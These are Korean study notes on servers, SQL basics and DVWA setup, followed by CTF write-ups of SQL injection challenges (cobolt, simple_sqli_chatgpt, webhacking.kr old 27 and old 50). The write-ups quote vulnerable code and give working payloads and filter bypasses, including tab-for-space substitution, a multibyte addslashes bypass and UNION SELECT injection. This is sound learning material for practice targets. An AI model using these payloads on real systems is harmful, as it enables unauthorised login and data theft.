문서화
server
네트워크 -> 클라이언트로 서비스 제공
웹 서버: 클라이언트가 페이지 요청 시 정적 컨텐츠 제공 *정적 컨텐츠: .html, png, css 등…
작동순서
- 클라이언트가 서비스 요청
- 요청에 응답하여 처리
- 서버 처리 결과를 반환
- 클라이언트가 반환값을 받음
DB
database : 데이터의 집합
DBMS : 데베를 관리하는 소프트웨어
RDBMS(관계형 데이터베이스) : 데이터에 관계 개념 부여
table, field, row로 구성
사용되는 언어 -> SQL
sql injection
취약점을 이용해 sql문 삽입하여 db가 비정상적인 동작을 유도하는 공격이다. 임의 계정에 로그인/계정 삭제/데이터베이스 정보 유출 등이 가능하다.
| SQL 연산자 | ||
|---|---|---|
| OR | | | |
| AND (or보다 우선순위) | && | |
| like | = |
| SQL 문자열 | |
|---|---|
' |
문자 데이터 구분 기호 |
| ?변수=값 | url 매개변수 |
; |
쿼리 구분 기호 |
| SQL 주석 | |
|---|---|
-- |
뒤에 공백이 있어야 주석처리 가능 |
| # | 뒤에 공백 없어도 주석처리 가능(url에선 %23) |
| /**/ | 기호 사이 문자열 주석 처리 |
| SQL 함수 | |
|---|---|
| replace(컬럼 또는 문자열, 바꾸려는 문자열, 바뀔 문자열) | 문자열 치환 |
| substr(문자열, 자르고자 하는 처음 위치, 자르려고 하는 길이) | 문자열 자르기 |
| database() | 현재 db 이름 반환 |
| length() | 길이 반환 |
MySQL 실습
데이터 베이스 swu 생성 CREATE DATABASE 데이터베이스_제목;

테이블 courses 생성 USE 접속할_데이터베이스_제목; CREATE TABLE 테이블_이름(이름 데이터_타입(), 이름 데이터_타입() … );

데이터 삽입 type:전필 lec:컴퓨터 알고리즘 credit:3 type:전필 lec:현대 암호학과 기초 credit:3 type:전선 lec:C++ 프로그래밍 credit:3 type:전선 lec:리눅스 프로그래밍 credit:3 type:졸필 lec:소프트웨어 개발 실무 영어 credit:1 type:전필 lec:진로 탐색 세미나 credit:1 type:교필 lec:기독교개론 credit:2 type:교필 lec:바롬인성교육 credit:1 type:교선 lec:대학 생활과 진로 탐색 credit:1

데이터 삽입 insert into 테이블명 values(데이터값 나열),(데이터값 나열),(데이터값 나열) …;
수정은 다음과 같이 update 테이블명 set 수정할 값 입력 where 수정하는 부분 조건

*데이터 값 출력의 기본 틀 select (출력할 컬럼 나열) from (출력할 테이블) where (조건식)
“전공”의 type,lec 검색 SELECT type,lec FROM courses WHERE type IN(‘전필’,’전선’); (칼럼명) in(해당 데이터): 칼럼명에 해당 데이터가 입력된 row만 선택

학점이 3점 미만인 강의의 lec, credit 검색 SELECT lec, credit FROM courses WHERE credit in(‘1’,’2’); 앞과 같은 조건식 사용

SELECT lec, credit FROM courses WHERE credit BETWEEN 1 AND 2 ; (칼럼명) BETWEEN n AND m: 칼럼명에 n부터 m까지의 값이 입력된 row 선택

프로그래밍 강의 모든 레코드 검색 SELECT * FROM courses WHERE lec LIKE ‘%프로그래밍%’; LIKE ‘’: 따옴표 안 문자열 검색 ‘%문자열’: 문자열로 끝나는 row들 검색 ‘문자열%’: 문자열로 시작하는 row들 검색 ‘%문자열%’: 문자열이 포함되는 row들 검색

학점 수 내림차순으로 정렬해 모든 레코드 검색 SELECT * FROM courses ORDER BY credit DESC; ORDER BY (칼럼명) DESC: 칼럼명을 내림차순으로 정렬 ORDER BY (칼럼명) ASC: 칼럼명을 올림차순으로 정렬

소프트웨어 개발 실무영어의 type을 전선+졸필로, 강의명을 소프트웨어 개발 실무영어1로 수정 UPDATE courses SET type=’전선+졸필’, lec=’소프트웨어 개발 실무영어1’ WHERE lec=’소프트웨어 개발 실무 영어’ UPEDATE 내용 여러 개 가능, 바꿀 칼럼을 조건식으로 써도 무방

Kali에 dvwa 설치
- 칼리 리눅스를 실행해준다
2. apache2 세팅 sudo 권한 필요
# systemctl start apache2
# systemctl enable apache2
# systemctl status apache2

3. mysql 세팅 sudo 권한 필요
# systemctl start mysql
# systemctl enable mysql
# systemctl status mysql

DB 만들기
# mysql -u root -p
MariaDB [(none)]> create database dvwa;
MariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';
MariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;
MariaDB [(none)]> flush privileges;

4. DVWA 설치
# cd /var/www/html
# git clone https://github.com/digininja/DVWA.git
# cd /var/www/html/DVWA/config
# cp config.inc.php.dist config.inc.php

5. DVWA 접속
http://127.0.0.1/DVWA/login.php
접속 후 admin/password로 로그인


create/reset database 클릭
COBOLT 라이트업

?id=admin뒤를 주석처리 위 쿼리문을 입력하면 $result[’id’] == ‘admin’의 조건문을 충족시키고 (solve ‘cobolt’) 뒤에 pw부분은 주석처리 되어서 알 필요가 없다 ?id=admin —%20

왜 안 풀리나 했더니 따옴표를 닫아주지 않았다 ?id=admin%27—%20으로 입력

simple_sqli_chatgpt 라이트업
/ : 초기 사이트 /login : 로그인 화면
userlevel을 get함 userid는 admin이고, userlevel은 0일 때 플래그 출력
query_db 함수
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
db.commit()
db.close()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
db에서 query를 실행하고 조건에 따라 rv 반환
login창에 userlevel을 0으로 하면 query_db에 one=True이기 때문에 앞에 있는 guest로 로그인이 됨 들어갈 쿼리문은 다음과 같음 f”select * from users where userlevel=’{userlevel}’” 0’ and userid=’admin
…자꾸 안되길래 다른 라업을 참고했더니 연산자를 잘못 기입했다 0’ and userid==’admin

old 27 라이트업
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
‘id’가 ‘admin’이면 풀리는 문제이다. ‘no’부분을 입력받는다 그냥 no값에 아무값이나 넣어주고 or id=’admin’처리하면 될 거 같다 실행되는 문장 “select id from chall27 where id=’guest’ and no=({$_GET[‘no’]})”
삽입할 쿼리문 ‘2’) or id=’admin’%23 no hack이라 뜬다

등호도 필터링일 줄 몰랐다…
등호는 like나 in으로 우회 공백은 ‘+’로 대체
0+or+id+like+admin 안되길래 조금 더 우회해보다가 라업을 봤더니 일단 소괄호는 변수처리가 안되기 때문에 닫고 뒤에 남은 괄호를 주석처리를 해줘야 했다 그리고 ‘+’도 공백 우회로 알고 있는데 왜때문인지 자꾸 no hack이라고 떠서 %09로 수정했다 처음 접근은 아무값 넣기+id 검색이었는데 라업을 참고해서 아무값 넣기+no=2로 수정했다
0)%09or%09no%09like%092–%09

old 50 라이트업

<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit> <input type=reset>
</form>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
‘lv’가 3이면 풀리는 문제
id 입력 → addslashes → euc-kr에서 utf-8로 인코딩 pw 입력 → addslashes *addslashes: 특수문자 앞에 백슬래시 추가
뭔가 pw로 하면 인젝션 할 수 있을 거 같은데 필터링이 존재한다

필터링하는 항목들 id는 추가적으로 union 문자열이 있는지 검사함
일단 id=guest pw=guest는 lv=1 id에 guest 넣고 OR로 lv=3+주석처리문, pw에는 아무값이나 입력하면 되지 않을까…
select lv from chall50 where id=’{$_GET[‘id’]}’ and pw=md5(‘{$_GET[‘pw’]}’) 입력할 쿼리문 ?id=abcd’ or lv=3 #&pw=guest
addslashes 우회를 찾아보니 euc-kr에서 utf-8 인코딩도 같은 방법으로 우회한다고 한다 멀티바이트: 백슬래시 앞에 %a1~%ff가 들어가면 한 문자로 취급 ?id=ab%cd’ or lv like 3 # &pw=guest
…안 풀려서 라업 참고했다 id와 pw 모두 활용해야 하는 문제였다 id에 아무값+주석 열고 pw에 주석 닫고+union select 3+주석처리
*UNION SELECT union: 합집합 연산자(결과 다 보여줌), 이 과정에서 중복 제거 (select문1) UNION (select문2) 1,2 과정에서 나온 결과에서 중복은 제거하고 모두 출력
입력할 쿼리문 ?id=ab%cd’/&pw=/ union select 3 — 필터링 우회 처리 ?id=ab%cd%27%2F%2A&pw=%2A%2F%09union%09select%093%2D%2D%09 %cd%27 → 멀티바이트를 이용해서 addslashes, utf-8 인코딩 우회 공백 대신 %09 사용
